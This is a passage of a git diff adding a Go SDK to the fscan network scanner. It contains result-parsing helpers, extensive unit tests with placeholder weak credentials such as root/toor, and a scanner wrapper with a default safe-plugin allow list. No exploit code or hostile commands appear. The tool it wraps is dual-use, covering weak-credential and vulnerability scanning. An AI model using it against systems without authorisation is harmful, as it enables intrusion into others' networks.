stdout output, and result files from +// callers. Embedded scans build per-session runtime state and can run +// concurrently. +// +// Embedded callers can use ValidateConfig before starting a scan, IsSafePlugin +// or ListPlugins to build plugin allow lists, and ResultType* constants instead +// of matching raw result type strings. Result exposes helpers for common detail +// fields such as port, service, plugin, credentials, and web metadata. Use +// SummarizeResults or ResultSummary for aggregate counts. Use ScanEach for +// streaming consumption when callers do not want to retain the full result set +// in memory. +package fscan diff --git a/pkg/fscan/result.go b/pkg/fscan/result.go new file mode 100644 index 0000000..b5a2594 --- /dev/null +++ b/pkg/fscan/result.go @@ -0,0 +1,287 @@ +package fscan + +import ( + "fmt" + "net" + "strconv" + "strings" +) + +// IsHost reports whether the result describes a live host. +func (r Result) IsHost() bool { return r.Type == ResultTypeHost } + +// IsPort reports whether the result describes an open port. +func (r Result) IsPort() bool { return r.Type == ResultTypePort } + +// IsService reports whether the result describes a service. +func (r Result) IsService() bool { return r.Type == ResultTypeService } + +// IsVuln reports whether the result describes a vulnerability or credential. +func (r Result) IsVuln() bool { return r.Type == ResultTypeVuln } + +// IsCredential reports whether the result describes a weak credential finding. +func (r Result) IsCredential() bool { + if resultType, ok := r.DetailString("type"); ok && resultType == "weak_credential" { + return true + } + return strings.HasPrefix(r.Status, "weak_credential:") +} + +// SummarizeResults counts common result categories. +func SummarizeResults(results []Result) ResultSummary { + var summary ResultSummary + for _, result := range results { + summary.Add(result) + } + return summary +} + +// Add includes one result in the summary. +func (s *ResultSummary) Add(result Result) { + s.Total++ + switch { + case result.IsHost(): + s.Hosts++ + case result.IsPort(): + s.Ports++ + case result.IsService(): + s.Services++ + case result.IsVuln(): + s.Vulns++ + } + if result.IsWeb() { + s.Web++ + } + if result.IsCredential() { + s.Credentials++ + } +} + +// DetailString returns a string detail value. +func (r Result) DetailString(key string) (string, bool) { + value, ok := r.Details[key] + if !ok || value == nil { + return "", false + } + switch v := value.(type) { + case string: + return v, true + case fmt.Stringer: + return v.String(), true + default: + return fmt.Sprint(v), true + } +} + +// DetailInt returns an integer detail value. +func (r Result) DetailInt(key string) (int, bool) { + value, ok := r.Details[key] + if !ok || value == nil { + return 0, false + } + switch v := value.(type) { + case int: + return v, true + case int8: + return int(v), true + case int16: + return int(v), true + case int32: + return int(v), true + case int64: + return intFromInt64(v) + case uint: + return intFromUint64(uint64(v)) + case uint8: + return int(v), true + case uint16: + return int(v), true + case uint32: + return intFromUint64(uint64(v)) + case uint64: + return intFromUint64(v) + case float32: + return intFromFloat64(float64(v)) + case float64: + return intFromFloat64(v) + case string: + n, err := strconv.Atoi(strings.TrimSpace(v)) + return n, err == nil + case fmt.Stringer: + n, err := strconv.Atoi(strings.TrimSpace(v.String())) + return n, err == nil + default: + return 0, false + } +} + +// DetailBool returns a boolean detail value. +func (r Result) DetailBool(key string) (bool, bool) { + value, ok := r.Details[key] + if !ok || value == nil { + return false, false + } + switch v := value.(type) { + case bool: + return v, true + case string: + b, err := strconv.ParseBool(strings.TrimSpace(v)) + return b, err == nil + default: + return false, false + } +} + +// Port returns the result port from details, or from a target in host:port form. +func (r Result) Port() (int, bool) { + if port, ok := r.DetailInt("port"); ok { + return port, true + } + if _, portText, err := net.SplitHostPort(r.Target); err == nil { + port, err := strconv.Atoi(portText) + return port, err == nil + } + if strings.Count(r.Target, ":") == 1 { + if idx := strings.LastIndex(r.Target, ":"); idx >= 0 && idx+1 < len(r.Target) { + port, err := strconv.Atoi(r.Target[idx+1:]) + return port, err == nil + } + } + return 0, false +} + +// Service returns the detected service name when present. +func (r Result) Service() (string, bool) { return r.DetailString("service") } + +// Plugin returns the plugin that produced the result when present. +func (r Result) Plugin() (string, bool) { return r.DetailString("plugin") } + +// Username returns the credential username when present. +func (r Result) Username() (string, bool) { return r.DetailString("username") } + +// Password returns the credential password when present. +func (r Result) Password() (string, bool) { return r.DetailString("password") } + +// Banner returns the service banner when present. +func (r Result) Banner() (string, bool) { return r.DetailString("banner") } + +// Vulnerability returns the vulnerability description when present. +func (r Result) Vulnerability() (string, bool) { return r.DetailString("vulnerability") } + +// URL returns the web result URL when present. +func (r Result) URL() (string, bool) { return r.DetailString("url") } + +// Protocol returns the detected protocol when present. +func (r Result) Protocol() (string, bool) { return r.DetailString("protocol") } + +// IsWeb reports whether the result is associated with an HTTP(S) service. +func (r Result) IsWeb() bool { + if ok, found := r.DetailBool("is_web"); found { + return ok + } + for _, getter := range []func() (string, bool){r.Service, r.Protocol} { + value, ok := getter() + if !ok { + continue + } + value = strings.ToLower(value) + if value == "http" || value == "https" { + return true + } + } + return false +} + +// AsPort returns a typed port result when the result describes an open port. +func (r Result) AsPort() (PortResult, bool) { + if !r.IsPort() { + return PortResult{}, false + } + port, ok := r.Port() + if !ok { + return PortResult{}, false + } + return PortResult{Target: r.Target, Port: port}, true +} + +// AsService returns a typed service result when service-like fields are present. +func (r Result) AsService() (ServiceResult, bool) { + if !r.IsService() { + return ServiceResult{}, false + } + service := ServiceResult{ + Target: r.Target, + IsWeb: r.IsWeb(), + } + if port, ok := r.Port(); ok { + service.Port = port + } + service.Service, _ = r.Service() + service.Banner, _ = r.Banner() + service.Product, _ = r.DetailString("product") + service.Version, _ = r.DetailString("version") + service.Protocol, _ = r.Protocol() + service.URL, _ = r.URL() + return service, service.Service != "" || service.Banner != "" || service.URL != "" || service.Port != 0 +} + +// AsCredential returns a typed credential result when the result is a weak credential. +func (r Result) AsCredential() (CredentialResult, bool) { + if !r.IsCredential() { + return CredentialResult{}, false + } + username, userOK := r.Username() + password, passOK := r.Password() + if !userOK && !passOK { + return CredentialResult{}, false + } + service, _ := r.Service() + return CredentialResult{ + Target: r.Target, + Service: service, + Username: username, + Password: password, + }, true +} + +// AsVulnerability returns a typed vulnerability result when vulnerability data is present. +func (r Result) AsVulnerability() (VulnerabilityResult, bool) { + if !r.IsVuln() || r.IsCredential() { + return VulnerabilityResult{}, false + } + vulnerability, ok := r.Vulnerability() + if !ok || vulnerability == "" { + return VulnerabilityResult{}, false + } + service, _ := r.Service() + return VulnerabilityResult{ + Target: r.Target, + Service: service, + Vulnerability: vulnerability, + }, true +} + +func intFromInt64(v int64) (int, bool) { + max := int64(^uint(0) >> 1) + min := -max - 1 + if v < min || v > max { + return 0, false + } + return int(v), true +} + +func intFromUint64(v uint64) (int, bool) { + max := uint64(^uint(0) >> 1) + if v > max { + return 0, false + } + return int(v), true +} + +func intFromFloat64(v float64) (int, bool) { + n := int64(v) + if float64(n) != v { + return 0, false + } + return intFromInt64(n) +} diff --git a/pkg/fscan/result_test.go b/pkg/fscan/result_test.go new file mode 100644 index 0000000..b9bc818 --- /dev/null +++ b/pkg/fscan/result_test.go @@ -0,0 +1,718 @@ +package fscan + +import ( + "encoding/json" + "math" + "testing" + + "github.com/shadow1ng/fscan/common/output" +) + +func TestResultHelpers(t *testing.T) { + result := Result{ + Type: ResultTypeService, + Target: "127.0.0.1:8080", + Status: "identified", + Details: map[string]interface{}{ + "port": float64(8080), + "service": "http", + "plugin": "webtitle", + "banner": "nginx", + "is_web": "true", + "protocol": "http", + }, + } + + if !result.IsService() || result.IsPort() { + t.Fatalf("unexpected type helpers for %q", result.Type) + } + if port, ok := result.Port(); !ok || port != 8080 { + t.Fatalf("Port = %d/%v, want 8080/true", port, ok) + } + if service, ok := result.Service(); !ok || service != "http" { + t.Fatalf("Service = %q/%v, want http/true", service, ok) + } + if plugin, ok := result.Plugin(); !ok || plugin != "webtitle" { + t.Fatalf("Plugin = %q/%v, want webtitle/true", plugin, ok) + } + if banner, ok := result.Banner(); !ok || banner != "nginx" { + t.Fatalf("Banner = %q/%v, want nginx/true", banner, ok) + } + if !result.IsWeb() { + t.Fatal("expected web result") + } +} + +func TestResultPortFallback(t *testing.T) { + result := Result{Target: "[::1]:22"} + + port, ok := result.Port() + if !ok || port != 22 { + t.Fatalf("Port = %d/%v, want 22/true", port, ok) + } +} + +func TestResultPortDoesNotParseBareIPv6(t *testing.T) { + result := Result{Target: "2001:db8::1"} + + if port, ok := result.Port(); ok { + t.Fatalf("Port = %d/true, want false", port) + } +} + +func TestResultPortFromSimpleTarget(t *testing.T) { + result := Result{Target: "10.0.0.1:3306"} + + port, ok := result.Port() + if !ok || port != 3306 { + t.Fatalf("Port = %d/%v, want 3306/true", port, ok) + } +} + +func TestResultPortNoPort(t *testing.T) { + result := Result{Target: "10.0.0.1"} + if _, ok := result.Port(); ok { + t.Fatal("expected no port") + } +} + +func TestResultCredentialHelpers(t *testing.T) { + result := Result{ + Type: ResultTypeVuln, + Target: "127.0.0.1:22", + Details: map[string]interface{}{ + "type": "weak_credential", + "service": "ssh", + "username": "root", + "password": "toor", + }, + } + + if !result.IsVuln() { + t.Fatal("expected vuln result") + } + if !result.IsCredential() { + t.Fatal("expected credential result") + } + if username, ok := result.Username(); !ok || username != "root" { + t.Fatalf("Username = %q/%v, want root/true", username, ok) + } + if password, ok := result.Password(); !ok || password != "toor" { + t.Fatalf("Password = %q/%v, want toor/true", password, ok) + } +} + +func TestResultCredentialViaStatusPrefix(t *testing.T) { + result := Result{ + Type: ResultTypeVuln, + Target: "127.0.0.1:22", + Status: "weak_credential: root:pass", + } + if !result.IsCredential() { + t.Fatal("expected credential via status prefix") + } +} + +func TestResultNotCredentialWithoutMarker(t *testing.T) { + result := Result{ + Type: ResultTypeVuln, + Target: "127.0.0.1:445", + Status: "MS17-010", + Details: map[string]interface{}{ + "vulnerability": "MS17-010", + }, + } + if result.IsCredential() { + t.Fatal("vuln without credential marker should not be credential") + } +} + +func TestTypedResultViews(t *testing.T) { + portResult, ok := (Result{ + Type: ResultTypePort, + Target: "127.0.0.1", + Details: map[string]interface{}{"port": 22}, + }).AsPort() + if !ok || portResult.Port != 22 || portResult.Target != "127.0.0.1" { + t.Fatalf("AsPort = %#v/%v, want port 22", portResult, ok) + } + + serviceResult, ok := (Result{ + Type: ResultTypeService, + Target: "127.0.0.1:80", + Details: map[string]interface{}{ + "port": 80, + "service": "http", + "banner": "nginx", + "product": "nginx", + "version": "1.25", + "is_web": true, + "protocol": "http", + "url": "http://127.0.0.1:80", + }, + }).AsService() + if !ok || serviceResult.Service != "http" || serviceResult.Port != 80 || !serviceResult.IsWeb { + t.Fatalf("AsService = %#v/%v, want http web service", serviceResult, ok) + } + + credentialResult, ok := (Result{ + Type: ResultTypeVuln, + Target: "127.0.0.1:22", + Details: map[string]interface{}{ + "type": "weak_credential", + "service": "ssh", + "username": "root", + "password": "toor", + }, + }).AsCredential() + if !ok || credentialResult.Username != "root" || credentialResult.Password != "toor" { + t.Fatalf("AsCredential = %#v/%v, want root/toor", credentialResult, ok) + } + + vulnResult, ok := (Result{ + Type: ResultTypeVuln, + Target: "127.0.0.1:25", + Details: map[string]interface{}{ + "service": "smtp", + "vulnerability": "open relay", + }, + }).AsVulnerability() + if !ok || vulnResult.Service != "smtp" || vulnResult.Vulnerability != "open relay" { + t.Fatalf("AsVulnerability = %#v/%v, want smtp/open relay", vulnResult, ok) + } +} + +func TestAsPortNonPortResult(t *testing.T) { + _, ok := (Result{Type: ResultTypeHost, Target: "10.0.0.1"}).AsPort() + if ok { + t.Fatal("AsPort should return false for non-port result") + } +} + +func TestAsPortNoPortValue(t *testing.T) { + _, ok := (Result{Type: ResultTypePort, Target: "10.0.0.1"}).AsPort() + if ok { + t.Fatal("AsPort should return false when no port available") + } +} + +func TestAsServiceNonServiceResult(t *testing.T) { + _, ok := (Result{Type: ResultTypePort, Target: "10.0.0.1"}).AsService() + if ok { + t.Fatal("AsService should return false for non-service result") + } +} + +func TestAsServiceNoUsefulFields(t *testing.T) { + _, ok := (Result{Type: ResultTypeService, Target: "10.0.0.1"}).AsService() + if ok { + t.Fatal("AsService should return false when no useful service fields") + } +} + +func TestAsCredentialNonCredential(t *testing.T) { + _, ok := (Result{ + Type: ResultTypeVuln, + Target: "10.0.0.1:445", + Details: map[string]interface{}{"vulnerability": "MS17-010"}, + }).AsCredential() + if ok { + t.Fatal("AsCredential should return false for non-credential vuln") + } +} + +func TestAsCredentialNoUsernamePassword(t *testing.T) { + _, ok := (Result{ + Type: ResultTypeVuln, + Target: "10.0.0.1:22", + Status: "weak_credential: ???", + Details: map[string]interface{}{}, + }).AsCredential() + if ok { + t.Fatal("AsCredential should return false without username/password") + } +} + +func TestAsVulnerabilityCredentialExcluded(t *testing.T) { + _, ok := (Result{ + Type: ResultTypeVuln, + Target: "10.0.0.1:22", + Details: map[string]interface{}{ + "type": "weak_credential", + "vulnerability": "ssh weak password", + "username": "root", + "password": "toor", + }, + }).AsVulnerability() + if ok { + t.Fatal("AsVulnerability should exclude credential results") + } +} + +func TestAsVulnerabilityEmptyVulnField(t *testing.T) { + _, ok := (Result{ + Type: ResultTypeVuln, + Target: "10.0.0.1:445", + Details: map[string]interface{}{}, + }).AsVulnerability() + if ok { + t.Fatal("AsVulnerability should return false without vulnerability field") + } +} + +func TestSummarizeResults(t *testing.T) { + results := []Result{ + {Type: ResultTypeHost, Target: "127.0.0.1"}, + {Type: ResultTypePort, Target: "127.0.0.1", Details: map[string]interface{}{"port": 80}}, + {Type: ResultTypeService, Target: "127.0.0.1:80", Details: map[string]interface{}{"service": "http"}}, + {Type: ResultTypeVuln, Target: "127.0.0.1:22", Status: "weak_credential: root:toor"}, + } + + summary := SummarizeResults(results) + if summary.Total != 4 { + t.Fatalf("Total = %d, want 4", summary.Total) + } + if summary.Hosts != 1 || summary.Ports != 1 || summary.Services != 1 || summary.Vulns != 1 { + t.Fatalf("summary categories = %#v, want one each", summary) + } + if summary.Web != 1 { + t.Fatalf("Web = %d, want 1", summary.Web) + } + if summary.Credentials != 1 { + t.Fatalf("Credentials = %d, want 1", summary.Credentials) + } +} + +func TestSummarizeEmpty(t *testing.T) { + summary := SummarizeResults(nil) + if summary.Total != 0 { + t.Fatalf("Total = %d, want 0", summary.Total) + } +} + +func TestResultDetailIntRejectsFraction(t *testing.T) { + result := Result{Details: map[string]interface{}{"port": 22.5}} + + if port, ok := result.DetailInt("port"); ok { + t.Fatalf("DetailInt = %d/true, want false", port) + } +} + +func TestResultDetailIntParsesJSONNumber(t *testing.T) { + result := Result{Details: map[string]interface{}{"port": json.Number("443")}} + + port, ok := result.DetailInt("port") + if !ok || port != 443 { + t.Fatalf("DetailInt = %d/%v, want 443/true", port, ok) + } +} + +func TestDetailIntTypes(t *testing.T) { + tests := []struct { + name string + value interface{} + want int + ok bool + }{ + {"int", int(42), 42, true}, + {"int8", int8(8), 8, true}, + {"int16", int16(16), 16, true}, + {"int32", int32(32), 32, true}, + {"int64", int64(64), 64, true}, + {"uint", uint(10), 10, true}, + {"uint8", uint8(8), 8, true}, + {"uint16", uint16(16), 16, true}, + {"uint32", uint32(32), 32, true}, + {"uint64", uint64(64), 64, true}, + {"float32", float32(80), 80, true}, + {"float64", float64(443), 443, true}, + {"string", "8080", 8080, true}, + {"string-spaces", " 22 ", 22, true}, + {"string-invalid", "abc", 0, false}, + {"nil", nil, 0, false}, + {"bool", true, 0, false}, + {"missing", nil, 0, false}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + r := Result{Details: map[string]interface{}{"v": tt.value}} + if tt.name == "missing" { + r = Result{Details: map[string]interface{}{}} + } + got, ok := r.DetailInt("v") + if ok != tt.ok || got != tt.want { + t.Fatalf("DetailInt = %d/%v, want %d/%v", got, ok, tt.want, tt.ok) + } + }) + } +} + +func TestDetailIntOverflow(t *testing.T) { + if _, ok := (Result{Details: map[string]interface{}{"v": uint64(math.MaxUint64)}}).DetailInt("v"); ok { + t.Fatal("uint64 max should overflow") + } + if _, ok := (Result{Details: map[string]interface{}{"v": float64(1.5)}}).DetailInt("v"); ok { + t.Fatal("non-integer float should fail") + } +} + +type testStringer struct{ s string } + +func (ts testStringer) String() string { return ts.s } + +func TestDetailStringStringer(t *testing.T) { + r := Result{Details: map[string]interface{}{"k": testStringer{"hello"}}} + v, ok := r.DetailString("k") + if !ok || v != "hello" { + t.Fatalf("DetailString(Stringer) = %q/%v, want hello/true", v, ok) + } +} + +func TestDetailStringFallback(t *testing.T) { + r := Result{Details: map[string]interface{}{"k": 42}} + v, ok := r.DetailString("k") + if !ok || v != "42" { + t.Fatalf("DetailString(int) = %q/%v, want 42/true", v, ok) + } +} + +func TestDetailStringNil(t *testing.T) { + r := Result{Details: map[string]interface{}{"k": nil}} + _, ok := r.DetailString("k") + if ok { + t.Fatal("DetailString(nil) should return false") + } +} + +func TestDetailStringMissing(t *testing.T) { + r := Result{Details: map[string]interface{}{}} + _, ok := r.DetailString("missing") + if ok { + t.Fatal("DetailString(missing) should return false") + } +} + +func TestDetailIntStringer(t *testing.T) { + r := Result{Details: map[string]interface{}{"v": testStringer{"99"}}} + got, ok := r.DetailInt("v") + if !ok || got != 99 { + t.Fatalf("DetailInt(Stringer) = %d/%v, want 99/true", got, ok) + } +} + +func TestDetailBool(t *testing.T) { + tests := []struct { + name string + val interface{} + want bool + ok bool + }{ + {"true", true, true, true}, + {"false", false, false, true}, + {"string-true", "true", true, true}, + {"string-false", "false", false, true}, + {"string-1", "1", true, true}, + {"string-0", "0", false, true}, + {"string-invalid", "maybe", false, false}, + {"nil", nil, false, false}, + {"int", 1, false, false}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + r := Result{Details: map[string]interface{}{"b": tt.val}} + got, ok := r.DetailBool("b") + if ok != tt.ok || got != tt.want { + t.Fatalf("DetailBool = %v/%v, want %v/%v", got, ok, tt.want, tt.ok) + } + }) + } +} + +func TestDetailBoolMissing(t *testing.T) { + r := Result{Details: map[string]interface{}{}} + _, ok := r.DetailBool("missing") + if ok { + t.Fatal("DetailBool(missing) should return false") + } +} + +func TestIsWebViaProtocol(t *testing.T) { + r := Result{Details: map[string]interface{}{"protocol": "https"}} + if !r.IsWeb() { + t.Fatal("expected web via protocol=https") + } +} + +func TestIsWebViaService(t *testing.T) { + r := Result{Details: map[string]interface{}{"service": "HTTP"}} + if !r.IsWeb() { + t.Fatal("expected web via service=HTTP (case-insensitive)") + } +} + +func TestIsWebFalse(t *testing.T) { + r := Result{Details: map[string]interface{}{"service": "ssh"}} + if r.IsWeb() { + t.Fatal("ssh should not be web") + } +} + +func TestIsWebNoDetails(t *testing.T) { + r := Result{} + if r.IsWeb() { + t.Fatal("empty result should not be web") + } +} + +func TestResultTypeHelpers(t *testing.T) { + if !(Result{Type: ResultTypeHost}).IsHost() { + t.Fatal("IsHost") + } + if !(Result{Type: ResultTypePort}).IsPort() { + t.Fatal("IsPort") + } + if !(Result{Type: ResultTypeService}).IsService() { + t.Fatal("IsService") + } + if !(Result{Type: ResultTypeVuln}).IsVuln() { + t.Fatal("IsVuln") + } + if (Result{Type: ResultTypeHost}).IsPort() { + t.Fatal("host should not be port") + } +} + +func TestResultURLAndVulnerability(t *testing.T) { + r := Result{Details: map[string]interface{}{ + "url": "http://example.com", + "vulnerability": "CVE-2021-1234", + }} + if u, ok := r.URL(); !ok || u != "http://example.com" { + t.Fatalf("URL = %q/%v", u, ok) + } + if v, ok := r.Vulnerability(); !ok || v != "CVE-2021-1234" { + t.Fatalf("Vulnerability = %q/%v", v, ok) + } +} + +func TestResultProtocol(t *testing.T) { + r := Result{Details: map[string]interface{}{"protocol": "tcp"}} + if p, ok := r.Protocol(); !ok || p != "tcp" { + t.Fatalf("Protocol = %q/%v", p, ok) + } +} + +func TestDetailIntNilDetails(t *testing.T) { + r := Result{} + _, ok := r.DetailInt("port") + if ok { + t.Fatal("DetailInt on nil details should return false") + } +} + +func TestDetailStringNilDetails(t *testing.T) { + r := Result{} + _, ok := r.DetailString("service") + if ok { + t.Fatal("DetailString on nil details should return false") + } +} + +func TestDetailBoolNilDetails(t *testing.T) { + r := Result{} + _, ok := r.DetailBool("is_web") + if ok { + t.Fatal("DetailBool on nil details should return false") + } +} + +func TestIsWebExplicitBoolDetail(t *testing.T) { + r := Result{Details: map[string]interface{}{"is_web": true}} + if !r.IsWeb() { + t.Fatal("explicit is_web=true should mark as web") + } + + r2 := Result{Details: map[string]interface{}{"is_web": false, "service": "http"}} + if r2.IsWeb() { + t.Fatal("explicit is_web=false should override service heuristic") + } +} + +func TestIntFromInt64Overflow(t *testing.T) { + if _, ok := intFromInt64(math.MaxInt64); !ok { + t.Fatal("max int64 should fit on 64-bit") + } +} + +func TestIntFromUint64Overflow(t *testing.T) { + if _, ok := intFromUint64(math.MaxUint64); ok { + t.Fatal("max uint64 should overflow int") + } + if v, ok := intFromUint64(0); !ok || v != 0 { + t.Fatalf("intFromUint64(0) = %d/%v", v, ok) + } +} + +func TestIntFromFloat64NonInteger(t *testing.T) { + if _, ok := intFromFloat64(3.14); ok { + t.Fatal("non-integer float should fail") + } + if v, ok := intFromFloat64(100.0); !ok || v != 100 { + t.Fatalf("intFromFloat64(100.0) = %d/%v", v, ok) + } +} + +func TestResultSummaryAddWebCredential(t *testing.T) { + var s ResultSummary + s.Add(Result{ + Type: ResultTypeVuln, + Target: "10.0.0.1:80", + Status: "weak_credential: admin:admin", + Details: map[string]interface{}{ + "service": "http", + "is_web": true, + "username": "admin", + "password": "admin", + }, + }) + if s.Vulns != 1 || s.Web != 1 || s.Credentials != 1 { + t.Fatalf("summary = %+v, want vulns=1 web=1 credentials=1", s) + } +} + +func TestAsServiceWithPortOnly(t *testing.T) { + sr, ok := (Result{ + Type: ResultTypeService, + Target: "10.0.0.1:3306", + Details: map[string]interface{}{"port": 3306}, + }).AsService() + if !ok || sr.Port != 3306 { + t.Fatalf("AsService with port only = %#v/%v", sr, ok) + } +} + +func TestConvertOutputResultNil(t *testing.T) { + _, ok := convertOutputResult(nil) + if ok { + t.Fatal("convertOutputResult(nil) should return false") + } +} + +func TestConvertOutputResultEmpty(t *testing.T) { + _, ok := convertOutputResult(&output.ScanResult{}) + if ok { + t.Fatal("empty output result should return false") + } +} + +func TestConvertOutputResultValid(t *testing.T) { + raw := &output.ScanResult{ + Type: output.ResultType(ResultTypePort), + Target: "10.0.0.1", + Status: "open", + Details: map[string]interface{}{ + "port": 22, + }, + } + r, ok := convertOutputResult(raw) + if !ok { + t.Fatal("expected valid conversion") + } + if r.Type != ResultTypePort || r.Target != "10.0.0.1" { + t.Fatalf("converted = %#v", r) + } +} + +func TestResultJSON(t *testing.T) { + r := Result{ + Type: ResultTypePort, + Target: "10.0.0.1", + Status: "open", + Details: map[string]interface{}{ + "port": 22, + }, + } + data, err := json.Marshal(r) + if err != nil { + t.Fatal(err) + } + var decoded Result + if err := json.Unmarshal(data, &decoded); err != nil { + t.Fatal(err) + } + if decoded.Type != ResultTypePort || decoded.Target != "10.0.0.1" { + t.Fatalf("round-trip failed: %#v", decoded) + } +} + +func TestPortResultJSON(t *testing.T) { + pr := PortResult{Target: "10.0.0.1", Port: 80} + data, err := json.Marshal(pr) + if err != nil { + t.Fatal(err) + } + if got := string(data); got != `{"target":"10.0.0.1","port":80}` { + t.Fatalf("PortResult JSON = %s", got) + } +} + +func TestServiceResultJSON(t *testing.T) { + sr := ServiceResult{Target: "10.0.0.1:80", Port: 80, Service: "http", IsWeb: true} + data, err := json.Marshal(sr) + if err != nil { + t.Fatal(err) + } + var decoded ServiceResult + if err := json.Unmarshal(data, &decoded); err != nil { + t.Fatal(err) + } + if decoded.Service != "http" || !decoded.IsWeb { + t.Fatalf("round-trip failed: %#v", decoded) + } +} + +func TestCredentialResultJSON(t *testing.T) { + cr := CredentialResult{Target: "10.0.0.1:22", Service: "ssh", Username: "root", Password: "toor"} + data, err := json.Marshal(cr) + if err != nil { + t.Fatal(err) + } + var decoded CredentialResult + if err := json.Unmarshal(data, &decoded); err != nil { + t.Fatal(err) + } + if decoded.Username != "root" || decoded.Password != "toor" { + t.Fatalf("round-trip failed: %#v", decoded) + } +} + +func TestVulnerabilityResultJSON(t *testing.T) { + vr := VulnerabilityResult{Target: "10.0.0.1:445", Service: "smb", Vulnerability: "MS17-010"} + data, err := json.Marshal(vr) + if err != nil { + t.Fatal(err) + } + var decoded VulnerabilityResult + if err := json.Unmarshal(data, &decoded); err != nil { + t.Fatal(err) + } + if decoded.Vulnerability != "MS17-010" { + t.Fatalf("round-trip failed: %#v", decoded) + } +} + +func TestResultSummaryJSON(t *testing.T) { + summary := ResultSummary{Total: 10, Hosts: 2, Ports: 3, Services: 3, Vulns: 2} + data, err := json.Marshal(summary) + if err != nil { + t.Fatal(err) + } + var decoded ResultSummary + if err := json.Unmarshal(data, &decoded); err != nil { + t.Fatal(err) + } + if decoded.Total != 10 || decoded.Hosts != 2 { + t.Fatalf("round-trip failed: %#v", decoded) + } +} + diff --git a/pkg/fscan/scanner.go b/pkg/fscan/scanner.go new file mode 100644 index 0000000..9a397b7 --- /dev/null +++ b/pkg/fscan/scanner.go @@ -0,0 +1,652 @@ +package fscan + +import ( + "context" + "fmt" + "sort" + "strconv" + "strings" + "sync" + "time" + + "github.com/shadow1ng/fscan/common" + commonconfig "github.com/shadow1ng/fscan/common/config" + "github.com/shadow1ng/fscan/common/i18n" + "github.com/shadow1ng/fscan/common/output" + "github.com/shadow1ng/fscan/core" + "github.com/shadow1ng/fscan/plugins" + + _ "github.com/shadow1ng/fscan/plugins/local" + _ "github.com/shadow1ng/fscan/plugins/services" + _ "github.com/shadow1ng/fscan/plugins/web" +) + +var defaultSafePlugins = []string{ + "activemq", + "cassandra", + "elasticsearch", + "ftp", + "kafka", + "ldap", + "memcached", + "mongodb", + "mssql", + "mysql", + "neo4j", + "netbios", + "oracle", + "postgresql", + "rabbitmq", + "rdp", + "redis", + "imap", + "ipmi", + "jdwp", + "nfs", + "pop3", + "rmi", + "rsync", + "smb", + "smtp", + "snmp", + "ssh", + "telnet", + "vnc", + "webtitle", +} + +// Scanner runs fscan from another Go process. +type Scanner struct { + config Config +} + +// NewScanner creates an embedded scanner. +func NewScanner(config Config) *Scanner { + return &Scanner{config: config} +} + +// DefaultSafePlugins returns the plugin set used by the SDK when Config.Plugins +// is empty. The returned slice can be modified by callers. +func DefaultSafePlugins() []string { + return append([]string(nil), defaultSafePlugins...) +} + +// ListPlugins returns metadata for all registered plugins, sorted by name. +func ListPlugins() []PluginInfo { + names := plugins.All() + sort.Strings(names) + + items := make([]PluginInfo, 0, len(names)) + for _, name := range names { + if info, ok := GetPlugin(name); ok { + items = append(items, info) + } + } + return items +} + +// GetPlugin returns metadata for a registered plugin. +func GetPlugin(name string) (PluginInfo, bool) { + name = strings.TrimSpace(name) + if name == "" || !plugins.Exists(name) { + return PluginInfo{}, false + } + return PluginInfo{ + Name: name, + Types: pluginTypes(name), + Capabilities: PluginCapabilities(name), + Ports: pluginPorts(name), + Safe: IsSafePlugin(name), + Default: isDefaultSafePlugin(name), + }, true +} + +// ValidateConfig checks whether a config and target set can be used for an +// embedded scan. If no targets are passed, Config.Targets is validated. +func ValidateConfig(config Config, targets ...Target) error { + if len(targets) == 0 { + targets = config.Targets + } + return validateConfig(config, targets) +} + +// IsSafePlugin reports whether a plugin may be used while AllowUnsafePlugins is +// false. Unknown plugin names are not safe. +func IsSafePlugin(name string) bool { + name = strings.TrimSpace(name) + if name == "" || !plugins.Exists(name) { + return false + } + return plugins.IsSafe(name) && !hasPluginCapability(name, PluginCapabilityPOC, PluginCapabilityLocalEffect) +} + +// PluginCapabilities returns the SDK-facing behavior classes for a plugin. +func PluginCapabilities(name string) []string { + name = strings.TrimSpace(name) + if name == "" || !plugins.Exists(name) { + return nil + } + return pluginCapabilities(name) +} + +type scanOpts struct { + controller *ScanController +} + +// Scan runs the scanner for the provided targets and returns structured +// findings. If no targets are provided, Config.Targets is used. +func (s *Scanner) Scan(ctx context.Context, targets ...Target) ([]Result, error) { + report, err := s.ScanReport(ctx, targets...) + return report.Results, err +} + +// ScanReport runs the scanner and returns results with summary and runtime stats. +func (s *Scanner) ScanReport(ctx context.Context, targets ...Target) (ScanReport, error) { + return s.collectReport(ctx, scanOpts{}, targets...) +} + +// ScanEach runs the scanner and calls handle serially for each structured +// result without retaining all results in memory. If handle returns an error, +// the scan context is canceled and that error is returned. +func (s *Scanner) ScanEach(ctx context.Context, handle ResultHandler, targets ...Target) error { + _, err := s.scanEach(ctx, scanOpts{}, handle, targets...) + return err +} + +// ScanWithController starts a scan and returns a controller for pause/resume +// and live stats. The scan runs in a background goroutine; read the returned +// channels to get the report and error when the scan completes. +func (s *Scanner) ScanWithController(ctx context.Context, targets ...Target) (*ScanController, <-chan ScanReport, <-chan error) { + ctrl := newScanController() + reportCh := make(chan ScanReport, 1) + errCh := make(chan error, 1) + + go func() { + report, err := s.collectReport(ctx, scanOpts{controller: ctrl}, targets...) + reportCh <- report + errCh <- err + }() + + return ctrl, reportCh, errCh +} + +func (s *Scanner) collectReport(ctx context.Context, opts scanOpts, targets ...Target) (ScanReport, error) { + var ( + mu sync.Mutex + results []Result + ) + stats, err := s.scanEach(ctx, opts, func(result Result) error { + mu.Lock() + results = append(results, result) + mu.Unlock() + return nil + }, targets...) + results = snapshotResults(&mu, results) + return ScanReport{ + Results: results, + Summary: SummarizeResults(results), + Stats: stats, + }, err +} + +func (s *Scanner) scanEach(ctx context.Context, opts scanOpts, handle ResultHandler, targets ...Target) (ScanStats, error) { + if handle == nil { + return ScanStats{}, fmt.Errorf("fscan: result handler is required") + } + if ctx == nil { + ctx = context.Background() + } + if len(targets) == 0 { + targets = s.config.Targets + } + if err := validateConfig(s.config, targets); err != nil { + return ScanStats{}, err + } + + ctrl := opts.controller + if ctrl == nil && s.config.OnProgress != nil { + ctrl = newScanController() + } + + ctx, cancel := context.WithCancel(ctx) + defer cancel() + restoreLogger := common.PushSilentLogger() + defer restoreLogger() + + if ctrl != nil && s.config.OnProgress != nil { + progressCtx, progressCancel := context.WithCancel(ctx) + defer progressCancel() + onProgress := 